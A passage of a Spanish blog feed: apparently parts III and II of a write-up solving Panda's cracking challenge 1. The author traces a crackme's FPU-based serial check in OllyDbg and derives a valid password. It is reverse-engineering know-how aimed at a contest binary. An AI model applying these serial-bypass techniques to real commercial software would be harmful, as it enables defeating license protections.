href='http://el-blog-de-thor.blogspot.com/2009/04/usar-debug-para-generar-ficheros.html#comment-form' title='8 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/3095325101832102272'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/3095325101832102272'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2009/04/usar-debug-para-generar-ficheros.html' title='Usar debug para generar ficheros ejecutables'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_FGFE7zLOsQk/SeYv_gt_uGI/AAAAAAAAAJ4/_7aEpT3CSyI/s72-c/image_thumb%5B1%5D.png?imgmax=800' height='72' width='72'/><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-5829113330503286921</id><published>2009-04-08T23:35:00.002+02:00</published><updated>2009-04-13T16:49:25.216+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cracking'/><title type='text'>Solución al reto 1 de Panda (III parte, las dos comprobaciones)</title><content type='html'>&lt;p align="justify"&gt;--------------------------------------------------------------------&lt;a href="http://el-blog-de-thor.blogspot.com/2009/04/solucion-al-reto-1-de-panda-ii-parte.html"&gt;
&lt;/a&gt;&lt;a href="http://el-blog-de-thor.blogspot.com/2009/04/solucion-al-reto-1-de-panda.html"&gt;Solución al reto 1 de Panda (I parte, fracaso absoluto)&lt;/a&gt;
&lt;a href="http://el-blog-de-thor.blogspot.com/2009/04/solucion-al-reto-1-de-panda-ii-parte.html"&gt; Solución al reto 1 de Panda (II parte, FPqué!?)
&lt;/a&gt;Solución al reto 1 de Panda (III parte, las dos comprobaciones)&lt;a href="http://el-blog-de-thor.blogspot.com/2009/04/solucion-al-reto-1-de-panda-ii-parte.html"&gt;
&lt;/a&gt;--------------------------------------------------------------------&lt;a href="http://el-blog-de-thor.blogspot.com/2009/04/solucion-al-reto-1-de-panda-ii-parte.html"&gt;
&lt;/a&gt;&lt;a href="http://el-blog-de-thor.blogspot.com/2009/04/solucion-al-reto-1-de-panda-ii-parte.html"&gt;
En anteriores episodios&lt;/a&gt;, localizamos dos zonas vitales para que nuestro serial fuera tomado como valido. Primero una comprobación, un salto que nos lleva a la zona de password incorrecto, “bad!” y una variable que tiene que tener un determinado valor, 4, para mostrar el mensaje correcto, “yes!”. &lt;/p&gt;  &lt;p align="justify"&gt;Empecemos por la primera comparación.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh6.ggpht.com/_FGFE7zLOsQk/SdvnN9n3fGI/AAAAAAAAAHk/URBPT7UQ7Rg/s1600-h/image%5B4%5D.png"&gt;&lt;img title="image" style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" alt="image" src="http://lh4.ggpht.com/_FGFE7zLOsQk/SdvnPbWrBII/AAAAAAAAAHo/nMGUwJi6JbU/image_thumb%5B2%5D.png?imgmax=800" width="378" border="0" height="266" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Empezamos desde el salto condicional JNZ resaltado en amarillo hacia atrás. JNZ, realiza el salto cuando el flag Zero no está activado, vale 0. En nuestro caso esto es así.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh3.ggpht.com/_FGFE7zLOsQk/SdvnQFdvV4I/AAAAAAAAAHs/Co6P-YtliL0/s1600-h/image%5B7%5D.png"&gt;&lt;img title="image" style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" alt="image" src="http://lh6.ggpht.com/_FGFE7zLOsQk/SdvnQ7YT-ZI/AAAAAAAAAHw/7uBA-FbpS1Y/image_thumb%5B3%5D.png?imgmax=800" width="235" border="0" height="244" /&gt;&lt;/a&gt;
Por esta razón el salto es tomado y llegamos a la zona de printf “bad!” :(. Podríamos cambiar el flag manualmente a 1 o invertir el salto y seguir la ejecución, pero nuestro objetivo es conseguir un password correcto no forzar a que muestre el mensaje correcto. &lt;/p&gt;  &lt;p align="justify"&gt;Así que manos a la obra, hay que analizar las instrucciones anteriores al JNZ.&lt;/p&gt;  &lt;p align="justify"&gt;La instrucción inmediatamente anterior al JNZ es 
XOR AH, 40 
Queremos que el flag zero se active, así que esa instrucción tiene que dar como resultado 0, por ello AH debe valer 40 en ese punto.&lt;/p&gt;  &lt;p align="justify"&gt;Vamos a ir analizando mas rápidamente el resto las instrucciones, tened en cuenta que se hace en orden inverso, primero las que se ejecutarán últimas:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;     &lt;div align="justify"&gt;AND AH, 45: Quedamos en que AH tenía que valer 40 tras esta operación, si se le va a aplicar un “AND 45”, AH tiene que tener el bit 6 activado (correspondiente al segundo 4) y los bits 2 y 0 desactivados (correspondientes al primer 5). Puede resultar confuso, si, mirad esta representación para aclaraos:&lt;a href="http://lh3.ggpht.com/_FGFE7zLOsQk/SdvnReDeYRI/AAAAAAAAAH0/JBLkqhv2xm0/s1600-h/image%5B10%5D.png"&gt;&lt;/a&gt;&lt;img title="image" style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" alt="image" src="http://lh5.ggpht.com/_FGFE7zLOsQk/SdvnR2beu2I/AAAAAAAAAH4/Ky8V_vsoLRQ/image_thumb%5B4%5D.png?imgmax=800" width="155" border="0" height="69" /&gt;&lt;/div&gt; En los bits marcados con x da igual el valor que tengan ya que el AND cuando se le aplica un 0 siempre devuelve un 0 independientemente del otro bit. &lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;FSTSW AX: Esta instrucción guarda en AX el valor de los bits de condición de la FPU, &lt;a href="http://209.85.229.132/search?q=cache:7hS0nG7BZxMJ:www.programacion.net/simple/articulo/copro/+coprocesador+matematico+ensamblador+site:programacion.net&amp;amp;cd=6&amp;amp;hl=es&amp;amp;ct=clnk&amp;amp;gl=es"&gt;mas info&lt;/a&gt;. ¿Qué diablos son esos bits? Pues los que indican el resultado de una comparación de dos floats. Puede verse en los registros.     
&lt;/div&gt;     &lt;a href="http://lh5.ggpht.com/_FGFE7zLOsQk/SdvnSJSdQCI/AAAAAAAAAH8/IOGfC1Bm2Ks/s1600-h/image%5B18%5D.png"&gt;&lt;img title="image" style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" alt="image" src="http://lh4.ggpht.com/_FGFE7zLOsQk/SdvnSzEJRCI/AAAAAAAAAIA/IRB1EcRVBeM/image_thumb%5B8%5D.png?imgmax=800" width="339" border="0" height="147" /&gt;        &lt;/a&gt;&lt;div style="text-align: justify;"&gt;&lt;a href="http://lh5.ggpht.com/_FGFE7zLOsQk/SdvnSJSdQCI/AAAAAAAAAH8/IOGfC1Bm2Ks/s1600-h/image%5B18%5D.png"&gt; &lt;/a&gt;El valor de FST se guarda en AX. Recordad que antes las operaciones se han hecho sobre AH (la parte alta del registro AX), que descartamos la parte baja AL, 8 bits. Así que queremos que el bit 6+8, 14, del FST valga 1 y que los bits 2+8,10 y 0+8,8 valgan 0. Ollydbg puede confundir con su descomposición del registro FST. El contenido desglosado de FST es el siguiente.     
&lt;/div&gt;&lt;a href="http://lh4.ggpht.com/_FGFE7zLOsQk/SdvnTjPihrI/AAAAAAAAAIE/VupXSTYzdQo/s1600-h/image%5B21%5D.png"&gt;&lt;img title="image" style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" alt="image" src="http://lh4.ggpht.com/_FGFE7zLOsQk/SdvnUEW4_pI/AAAAAAAAAII/mPVL1YXLeoY/image_thumb%5B9%5D.png?imgmax=800" width="244" border="0" height="243" /&gt;&lt;/a&gt;Como vemos el bit 14 corresponde a el bit C3(Z) de los Condition Code. El bit 10 al C2(C) y el bit 8 al C0(S).   
&lt;a href="http://lh6.ggpht.com/_FGFE7zLOsQk/SdvnUmb4XFI/AAAAAAAAAIM/Z9wURABmCUA/s1600-h/image%5B24%5D.png"&gt;&lt;img title="image" style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" alt="image" src="http://lh4.ggpht.com/_FGFE7zLOsQk/SdvnU-IRGDI/AAAAAAAAAIQ/SqdCzhL3UEk/image_thumb%5B10%5D.png?imgmax=800" width="212" border="0" height="142" /&gt;&lt;/a&gt;Cuando estos bits se activan justo como requiere el programa significa que la FPU ha comparado dos número que eran iguales. Seguimos con las instrucciones previas, omitiendo aquellas que no hagan nada interesante:&lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;FUCOMPP: Compara los números de la FPU ST(0) y ST(1)    
&lt;/div&gt;     &lt;a href="http://lh4.ggpht.com/_FGFE7zLOsQk/SdvnVbIja8I/AAAAAAAAAIU/Go4ZilMSqoI/s1600-h/image%5B27%5D.png"&gt;&lt;img title="image" style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" alt="image" src="http://lh4.ggpht.com/_FGFE7zLOsQk/SdvnVxfNkLI/AAAAAAAAAIY/M7YFS9nOaY0/image_thumb%5B11%5D.png?imgmax=800" width="244" border="0" height="95" /&gt;&lt;/a&gt;Así que esos dos números tendrían que ser iguales, ¿no? &lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;FXCH ST(1): Intercambia los registros ST(0) y ST(1)&lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;FILD WORD PTR SS:[ESP]: Carga en ST(0), el tope de la pila de la FPU, el valor apuntado por la cima de la pila, y si hubiese algo en ST(0) lo desplaza a ST(1).&lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;PUSH EAX: El valor que acababa de cargar en la FPU es EAX, que lo mete en la pila previamente.&lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;CBW: Convierte un byte, AL, en palabra, AX, rellenando con ceros…pues fale.&lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;MOV AL,BYTE PTR SS:[EBP-21]: Mueve a AL el carácter introducido, ¿que cómo sabemos que en EBP-21 estaba el carácter? Acudiendo a nuestro scanf inicial.    
&lt;a href="http://lh4.ggpht.com/_FGFE7zLOsQk/SdvnWd6rxUI/AAAAAAAAAIc/rs88wulbiLg/s1600-h/image%5B31%5D.png"&gt;&lt;img title="image" style="border: 0px none ; display: inline;" alt="image" src="http://lh3.ggpht.com/_FGFE7zLOsQk/SdvnW6Q4ASI/AAAAAAAAAIg/5sIckvTGJR8/image_thumb%5B13%5D.png?imgmax=800" width="355" border="0" height="72" /&gt;&lt;/a&gt; &lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;FMULP ST(1),ST: Se multiplican ST(0) y ST(1)&lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;FLD [LOCAL.8]: Carga en la pila de la FPU el %f2&lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;FILD DWORD PTR SS:[ESP]: Carga en la FPU el valor de la cima de la pila&lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;PUSH EAX: Pone en la pila EAX&lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;MOV EAX,[LOCAL.12]: Pone en EAX la variable LOCAL.12, que aun no sabemos que es…&lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;FISTP [LOCAL.12]: Guarda en LOCAL.12 el valor ST(0)&lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;FLD [LOCAL.7]: Pone en ST(0) %f1&lt;/div&gt;   &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;Recapitulemos:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;     &lt;div align="justify"&gt;Se carga en la FPU %f1&lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;Lo saca y lo vuelve a meter, así me gusta nena, pero sigue estando %f1 en la FPU, ST(0)&lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;Se carga en la FPU %f2 en ST(0), ahora %f1 está en ST(1)    
Para %f1 = 1 y %f2 = 97     
&lt;img title="image" style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" alt="image" src="http://lh5.ggpht.com/_FGFE7zLOsQk/SdvnXcFMaxI/AAAAAAAAAIk/ANZzh6kfL1M/image_thumb%5B14%5D.png?imgmax=800" width="201" border="0" height="25" /&gt; &lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;Se multiplican estos dos valores&lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;Mete en la FPU el valor ASCII del carácter %c&lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;Compara los dos números&lt;/div&gt;   &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;De modo que un password como esté: “1-1-97-a” debería superar la primera condición. 1*97 == ASCII(‘a’) &lt;/p&gt;  &lt;p&gt;Probémoslo, ponemos un breakpoint antes del maldito JNZ, introducimos el posible password vemos que camino toma el salto.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh3.ggpht.com/_FGFE7zLOsQk/SdvnX7DMCII/AAAAAAAAAIo/PHrBmjy5xKs/s1600-h/image%5B41%5D.png"&gt;&lt;img title="image" style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" alt="image" src="http://lh3.ggpht.com/_FGFE7zLOsQk/SdvnYpX9ApI/AAAAAAAAAIs/-Qb3362H7ec/image_thumb%5B17%5D.png?imgmax=800" width="380" border="0" height="84" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;JNZ no salta (la flecha esta de color gris), por lo que llega al JMP que le aleja de el printf que nos dice que el password era incorrecto. Perfecto !!&lt;/p&gt;  &lt;p&gt;Uff, esto de analizarlo al revés es una locura. Pero nos ahorra analizar algunas instrucciones aunque ahora no nos ha servidor de mucho después nos ahorraremos un buen cacho de análisis.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Pasamos al segundo requisito para que un password sea correcto. que el desplazamiento visto en el capítulo anterior, almacenado en LOCAL.4, valga 4. Recordamos…&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh3.ggpht.com/_FGFE7zLOsQk/SdvnY60oQtI/AAAAAAAAAIw/5sIMi4NoToM/s1600-h/image%5B45%5D.png"&gt;&lt;img title="image" style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" alt="image" src="http://lh4.ggpht.com/_FGFE7zLOsQk/SdvnZupOYAI/AAAAAAAAAI0/ScMBMyZpxko/image_thumb%5B19%5D.png?imgmax=800" width="398" border="0" height="53" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Buscamos donde se asigna una valor a LOCAL.4, se encuentra casi al principio, cerca del scanf.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;img title="image" style="border: 0px none ; display: inline;" alt="image" src="http://lh3.ggpht.com/_FGFE7zLOsQk/SdvnaTfevcI/AAAAAAAAAI4/JnNWeRCf1D8/image_thumb%5B22%5D.png?imgmax=800" width="403" border="0" height="121" /&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Se le asigna el valor de EAX, justo después de de esa función. Esto es típico, cuando una función devuelve un valor, realmente se almacena en EAX. Hay que fijarse que la función solo se le pasan %f1 (argumento 3) y %d (argumento 1) así que en principio no usará el resto de números introducidos.&lt;/p&gt;  &lt;p align="justify"&gt;Entramos en la función, la seleccionamos y pulsamos intro. Una vez dentro de la función vamos al final de está. Tracearemos desde el final al principio buscando que hace falta para que EAX valga 4.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh4.ggpht.com/_FGFE7zLOsQk/Sdvnau72ZyI/AAAAAAAAAI8/675UcRN0NJc/s1600-h/image%5B54%5D.png"&gt;&lt;img title="image" style="border: 0px none ; display: inline;" alt="image" src="http://lh4.ggpht.com/_FGFE7zLOsQk/Sdvnb5SRK9I/AAAAAAAAAJA/p3nasBKpJ5w/image_thumb%5B24%5D.png?imgmax=800" width="384" border="0" height="225" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;EAX vale lo que contenga LOCAL.18. A esta instrucción de puede llegar desde tres lugares. Desde la instrucción justamente anterior, MOV [LOCAL.17], EDX. Y desde dos saltos. Para localizarlos seguimos la línea roja de la muerte.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh6.ggpht.com/_FGFE7zLOsQk/SdvncdzxEBI/AAAAAAAAAJE/5A7FpDce45A/s1600-h/image%5B58%5D.png"&gt;&lt;img title="image" style="border: 0px none ; display: inline;" alt="image" src="http://lh3.ggpht.com/_FGFE7zLOsQk/SdvndFI7ehI/AAAAAAAAAJI/pkZeYSiSsgI/image_thumb%5B26%5D.png?imgmax=800" width="374" border="0" height="94" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;Desde cualquiera de los dos saltos LOCAL.18 vale 0 y por lo tanto EAX también. Esto no puede ocurrir ! Ponemos un breakpoint en los dos saltos, con el fin de determinar si alguno de los dos es tomado. Ejecutamos el programa e introducimos “1-1-97-a”. Vemos que en el primer salto ni se para, una comparación anterior hace que no se llegue hasta ahí. En el segundo alto si se para y…salta, por lo que LOCAL.18 valdrá 0, EAX 0 y … “bad!”.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh6.ggpht.com/_FGFE7zLOsQk/Sdvnd_sjnHI/AAAAAAAAAJM/nLP92Tst0ck/s1600-h/image%5B62%5D.png"&gt;&lt;img title="image" style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" alt="image" src="http://lh3.ggpht.com/_FGFE7zLOsQk/Sdvnegj9pUI/AAAAAAAAAJQ/M1MSi7tom7Q/image_thumb%5B28%5D.png?imgmax=800" width="326" border="0" height="148" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Bueno está claro que la culpa es del JE(Jump if Equal) anterior si hubiese sido “Equal” hubiese ignorado este JMP maldito.&lt;/p&gt;  &lt;p align="justify"&gt;Analizamos las instrucciones anteriores al JE.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh3.ggpht.com/_FGFE7zLOsQk/Sdvnfavqs5I/AAAAAAAAAJU/7YPvZ_c7LRE/s1600-h/image%5B66%5D.png"&gt;&lt;img title="image" style="border: 0px none ; display: inline;" alt="image" src="http://lh5.ggpht.com/_FGFE7zLOsQk/Sdvnf6c6P6I/AAAAAAAAAJY/PCdgdjEM4Kg/image_thumb%5B30%5D.png?imgmax=800" width="373" border="0" height="66" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;/p&gt;  &lt;p align="justify"&gt;A destacar que EAX y LOCAL.16 tienen que valer lo mismo. EAX resulta de la suma de EAX y EBX. Ponemos un breakpoint en 
ADD EAX, EBX para observar que valores toma con diferentes passwords.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh4.ggpht.com/_FGFE7zLOsQk/SdvngYdza8I/AAAAAAAAAJc/0RV8iV0xYFo/s1600-h/image%5B70%5D.png"&gt;&lt;img title="image" style="border: 0px none ; display: inline;" alt="image" src="http://lh4.ggpht.com/_FGFE7zLOsQk/Sdvng17VrwI/AAAAAAAAAJg/IJ0J1xjb9UM/image_thumb%5B32%5D.png?imgmax=800" width="373" border="0" height="59" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;Sea cual sea el password introducido, EAX siempre vale 1 y EBX 3. Así que EAX terminará conteniendo el valor 4 (EAX += EBX).&lt;/p&gt;  &lt;p align="justify"&gt;Recordamos que antes hemos quedado en que EAX y LOCAL.16 tenían que valer lo mismo, y EAX sabemos que siempre vale 4. Así que buscamos cual es la última asignación realizada a LOCAL.16.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh4.ggpht.com/_FGFE7zLOsQk/SdvnhS1PuNI/AAAAAAAAAJk/z0G2OSKHOPY/s1600-h/image%5B74%5D.png"&gt;&lt;img title="image" style="border: 0px none ; display: inline;" alt="image" src="http://lh6.ggpht.com/_FGFE7zLOsQk/SdvniL822sI/AAAAAAAAAJo/oRS0sCDlc6o/image_thumb%5B34%5D.png?imgmax=800" width="380" border="0" height="119" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;La encontramos ahí, tras analizar las instrucciones vemos como LOCAL.16 es cargada a partir de LOCAL.7 la cual es cargada a partir de ARG.3, que como hemos visto al entrar a esta función es %f1. &lt;/p&gt;  &lt;p align="justify"&gt;Ahora con todas las piezas disponibles, montamos el puzzle. EAX y LOCAL.16 tenían que valer lo mismo, EAX siempre valía 4, así que LOCAL.16 tiene que valer 4 y LOCAL.16 coge el valor de %f1. Así que %f1 tiene que valer 4.&lt;/p&gt;  &lt;p align="justify"&gt;Pero no olvidemos que
%f1*%f2 = %c 
4*%f2 = %c 
Si %f2 vale 25 por ejemplo 
100 = %c = ‘d’&lt;/p&gt;  &lt;p align="justify"&gt;Pues ahí lo tenemos. El primer número, %d, no se ha usado para nada, así que le damos un valor aleatorio. %f1 tiene que valer 4. %f2 le damos el valor de 25. %c tiene que ser igual al valor ASCII de %f1*%f2, 100, ‘d’.&lt;/p&gt;  &lt;p align="justify"&gt;Y colorín colorado, un password correcto es: 1-4-25-d&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh3.ggpht.com/_FGFE7zLOsQk/SdvniqJ1RcI/AAAAAAAAAJs/l_IeCPoeJv0/s1600-h/image%5B78%5D.png"&gt;&lt;img title="image" style="border: 0px none ; display: inline;" alt="image" src="http://lh3.ggpht.com/_FGFE7zLOsQk/SdvnjEdLZgI/AAAAAAAAAJw/FNiGrdHnrPs/image_thumb%5B36%5D.png?imgmax=800" width="369" border="0" height="97" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;Eureka ! Tarde unas 6 horas en sacarlo, soy un cracker de pacotilla. Envíe la solución 14 horas después del inicio del reto así que me quedaré sin camiseta, solo los 5 primeros la reciben.&lt;/p&gt;  &lt;p align="justify"&gt;Shaddy, un amigo que lo resolvió antes que yo, ha publicado también una solución que seguramente esté mejor explicada que esto.
&lt;a href="http://www.megaupload.com/?d=NZKJEIK8"&gt;Solución en Megaupload&lt;/a&gt; 
&lt;a href="http://groups.google.es/group/CrackSLatinoS/attach/a6167519a885a5a8/Reto_Panda_P1_By_AbsshA.rar?part=4"&gt;Solución en GoogleGroups&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Si queréis aprender sobre ingeniería inversa, &lt;a href="http://ricardonarvaja.info/WEB/INTRODUCCION%20AL%20CRACKING%20CON%20OLLYDBG%20DESDE%20CERO/EN%20FORMATO%20DOC/"&gt;este curso de Ricardo Narvaja&lt;/a&gt; es un buen comienzo, y la &lt;a href="http://groups.google.es/group/CrackSLatinoS/"&gt;lista de google de crackslatinos&lt;/a&gt; un buen camino.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-5829113330503286921?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/5829113330503286921/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2009/04/solucion-al-reto-1-de-panda-iii-parte.html#comment-form' title='8 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/5829113330503286921'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/5829113330503286921'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2009/04/solucion-al-reto-1-de-panda-iii-parte.html' title='Solución al reto 1 de Panda (III parte, las dos comprobaciones)'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_FGFE7zLOsQk/SdvnPbWrBII/AAAAAAAAAHo/nMGUwJi6JbU/s72-c/image_thumb%5B2%5D.png?imgmax=800' height='72' width='72'/><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-6090060441589941167</id><published>2009-04-07T22:25:00.003+02:00</published><updated>2009-04-08T23:42:08.587+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cracking'/><title type='text'>Solución al reto 1 de Panda (II parte, FPqué!?)</title><content type='html'>&lt;p align="justify"&gt;--------------------------------------------------------------------
&lt;a href="http://el-blog-de-thor.blogspot.com/2009/04/solucion-al-reto-1-de-panda.html"&gt;Solución al reto 1 de Panda (I parte, fracaso absoluto)&lt;/a&gt;
Solución al reto 1 de Panda (II parte, FPqué!?)&lt;a href="http://el-blog-de-thor.blogspot.com/2009/04/solucion-al-reto-1-de-panda-ii-parte.html"&gt;
&lt;/a&gt;&lt;a href="http://el-blog-de-thor.blogspot.com/2009/04/solucion-al-reto-1-de-panda-iii-parte.html"&gt;Solución al reto 1 de Panda (III parte, las dos comprobaciones)&lt;/a&gt;&lt;a href="http://el-blog-de-thor.blogspot.com/2009/04/solucion-al-reto-1-de-panda-ii-parte.html"&gt;
&lt;/a&gt;--------------------------------------------------------------------&lt;a href="http://el-blog-de-thor.blogspot.com/2009/04/solucion-al-reto-1-de-panda-ii-parte.html"&gt;
&lt;/a&gt;
En &lt;a href="http://el-blog-de-thor.blogspot.com/2009/04/solucion-al-reto-1-de-panda.html"&gt;la anterior entrada&lt;/a&gt; hemos llegado a la conclusión de que las operaciones realizadas para verificar un password introducido no son triviales. Al menos sabemos el formato que debe tener: %d-%f-%f-%c. Y parece que se realizan operaciones con la FPU, algo no muy habitual.&lt;/p&gt;  &lt;p align="justify"&gt;Vamos a ojear que operaciones se hacen a continuación del scanf para intentar encontrar donde verifica si nuestro password es correcto o no.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh6.ggpht.com/_FGFE7zLOsQk/Sdu2bvwoduI/AAAAAAAAAGQ/PVi8xByQ1yA/s1600-h/image%5B4%5D.png"&gt;&lt;img title="image" style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" alt="image" src="http://lh4.ggpht.com/_FGFE7zLOsQk/Sdu2dIWEmyI/AAAAAAAAAGU/ISLXVkkO6Yo/image_thumb%5B2%5D.png?imgmax=800" width="393" border="0" height="147" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Como vemos, se copian a los registros ecx y eax, los valores %d y %f1 introducidos y se llama a una función. Así que sabemos que posiblemente esa función haga algún tipo de comparaciones con esos dos valores.&lt;/p&gt;  &lt;p align="justify"&gt;Entramos a la función con F7 y observamos horrorizados el paisaje, el desensamblado.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh5.ggpht.com/_FGFE7zLOsQk/Sdu2d4J-MlI/AAAAAAAAAGY/3T-3vRC9tcI/s1600-h/image%5B9%5D.png"&gt;&lt;img title="image" style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" alt="image" src="http://lh4.ggpht.com/_FGFE7zLOsQk/Sdu2hPrQa2I/AAAAAAAAAGc/khkCVzryVV0/image_thumb%5B5%5D.png?imgmax=800" width="398" border="0" height="420" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Es una función muy larga y usa un montón de operaciones de la FPU. Yo, ciego por las prisas, no se me ocurre otra cosa que pensar que lo mejor sería ponerse manos a la obra y empezar a analizar todo lo que hace la función.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh3.ggpht.com/_FGFE7zLOsQk/Sdu2jo0NmjI/AAAAAAAAAGg/1M0eTc8Ua3A/s1600-h/image%5B15%5D.png"&gt;&lt;img title="image" style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" alt="image" src="http://lh6.ggpht.com/_FGFE7zLOsQk/Sdu2lbSFK6I/AAAAAAAAAGk/yMpt2fqJaWk/image_thumb%5B9%5D.png?imgmax=800" width="400" border="0" height="218" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;Ahí se puede observar como comenté gran parte de las instrucciones, bieeeen. Lo bueno es que aprendí algo sobre el funcionamiento de la FPU, lo malo es que tras analizar algunas instrucciones mas llegué a la conclusión de que eso no estaba haciendo nada con sentido. Reescribía valores obtenidos de anteriores operaciones, realizaba operaciones sin sentido o que provocaban algún tipo de error en la FPU, etc. Estaba perdiendo el tiempo.&lt;/p&gt;  &lt;p align="justify"&gt;Lo peor de todo es que no estaba seguro de si el programa hacia un uso “avanzado” de la FPU y no era capaz de comprender qué operaciones se estaban realizando.&lt;/p&gt;  &lt;p align="justify"&gt;Así que momentáneamente me 